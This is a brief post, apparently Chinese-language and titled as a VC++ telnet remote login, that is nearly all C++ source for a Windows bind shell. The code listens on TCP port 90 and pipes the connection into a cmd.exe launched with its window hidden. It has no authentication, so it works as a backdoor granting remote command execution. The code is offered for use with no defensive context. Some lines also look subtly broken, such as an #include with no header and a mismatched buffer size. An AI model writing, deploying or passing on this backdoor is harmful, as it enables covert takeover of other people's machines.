vc++telnet远程登录

#include
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")

#define PORT 90

SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;

DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
 SECURITY_ATTRIBUTES pipeattr;
 DWORD nByteToWrite, nByteWritten;
 char recv_buff[1024];

 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
 pipeattr.lpSecurityDescriptor = NULL;
 pipeattr.bInheritHandle = TRUE;
 CreatePipe(&hReadPipe,
    &hWriteFile,
    &pipeattr,
    0);

 varA = 1;
 while(true)
 {
  Sleep(250);
  nByteToWrite = recv(ClientSocket,recv_buff,1024,0);
  WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);
 }
 return 0;
}

DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
 SECURITY_ATTRIBUTES pipeattr;
 DWORD len;
 char send_buff[25000];

 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
 pipeattr.lpSecurityDescriptor = NULL;
 pipeattr.bInheritHandle = TRUE;

 CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0);

 varB = 1;
 while (true)
 {
  ReadFile(hReadFile,send_buff,25000,&len,NULL);

  send(ClientSocket,send_buff,len,0);
 }
 return 0;
}

void Enter(void)
{
 WSADATA WSAData;
 struct sockaddr_in RemoteAddr;

 DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
 OSVERSIONINFO osvi;
 PROCESS_INFORMATION processinfo;
 STARTUPINFO startinfo;

 WSAStartup(MAKEWORD(2,2),&WSAData);
 ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 RemoteAddr.sin_family = AF_INET;
 RemoteAddr.sin_port = htons(PORT);
 RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

 bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
 listen(ServerSocket, 5);

 varA = 0;
 varB = 0;
 CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
 CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);

 do{
        Sleep(250);
 }while((varA || varB) == 0);

 GetStartupInfo(&startinfo);
 startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 startinfo.hStdInput = hReadPipe;
 startinfo.hStdError = hWritePipe;
 startinfo.hStdOutput = hWritePipe;
 startinfo.wShowWindow = SW_HIDE;

 osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

 GetVersionEx(&osvi);
 char szAPP[256];
 GetSystemDirectory(szAPP,MAX_PATH+1);

 if(osvi.dwPlatformId == 2)
 {
  strcat(szAPP,"//cmd.exe");
  if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo,&processinfo) == 0)
  {
 
   return;
  }
 }
 else
 {
  strcat(szAPP,"//command.exe");
  CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);
 }

 while (true)
 {
        ClientSocket = accept(ServerSocket, NULL, NULL);
  Sleep(250);
 }
}